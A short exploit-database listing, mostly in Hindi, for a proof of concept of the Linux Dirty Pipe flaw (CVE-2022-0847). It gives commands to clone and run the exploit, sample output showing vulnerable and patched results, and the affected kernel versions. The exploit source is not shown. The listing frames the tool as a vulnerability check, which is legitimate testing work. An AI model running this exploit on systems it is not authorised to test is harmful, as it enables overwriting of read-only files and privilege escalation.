Exploit for dirty-pipe-poc

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BREACHNIX-DIRTY-PIPE-POC
# डर्टी पाइप POC

CVE-2022-0847 POC - https://dirtypipe.cm4all.com/

## विवरण

यह एक्सप्लॉइट `CVE-2022-0847` कमजोरी का उपयोग करके केवल-पढ़ने योग्य फ़ाइल को अधिलेखित करने का प्रयास करता है।

जब `make exploit` चलाया जाता है, तो यह:

  1. एक `read_only_file.txt` बनाएगा
  2. `dirtypipe` एक्सप्लॉइट को निष्पादित करेगा।
  3. जांचेगा कि `dirtypipe` एक्सप्लॉइट काम किया या नहीं।



* * *

आप `make exploit` के आउटपुट से निर्धारित कर सकते हैं कि आपका सिस्टम असुरक्षित है या नहीं:

root@kitploit:~
    
    
    foo@bar:~$ make exploit # vulnerable
    [*] Creating read_only_file.txt...
    [*] Press any key to continue...
    [*] Running exploit...
    [*] Exploit was successful! 
    
    foo@bar:~$ make exploit # not vulnerable
    [*] Creating read_only_file.txt...
    [*] Press any key to continue...
    [*] Running exploit...
    [!] Exploit was not successful!
    

## उपयोग

root@kitploit:~
    
    
    foo@bar:~$ cd /tmp # We don't need to keep these files.
    foo@bar:~$ git clone https://github.com/breachnix/dirty-pipe-poc && cd dirty-pipe-poc
    foo@bar:~$ make && make exploit # make & cc will need to be installed.
    

## प्रभावित

यह कमजोरी **5.8** से अधिक लेकिन **5.16.11** , **5.15.25** , या **5.10.102** से कम किसी भी कर्नेल संस्करण को प्रभावित करती है।  
आप `uname -sr` चलाकर अपने कर्नेल संस्करण का निर्धारण कर सकते हैं:

root@kitploit:~
    
    
    foo@bar:~$ uname -sr
    Linux 5.10.0-12-amd64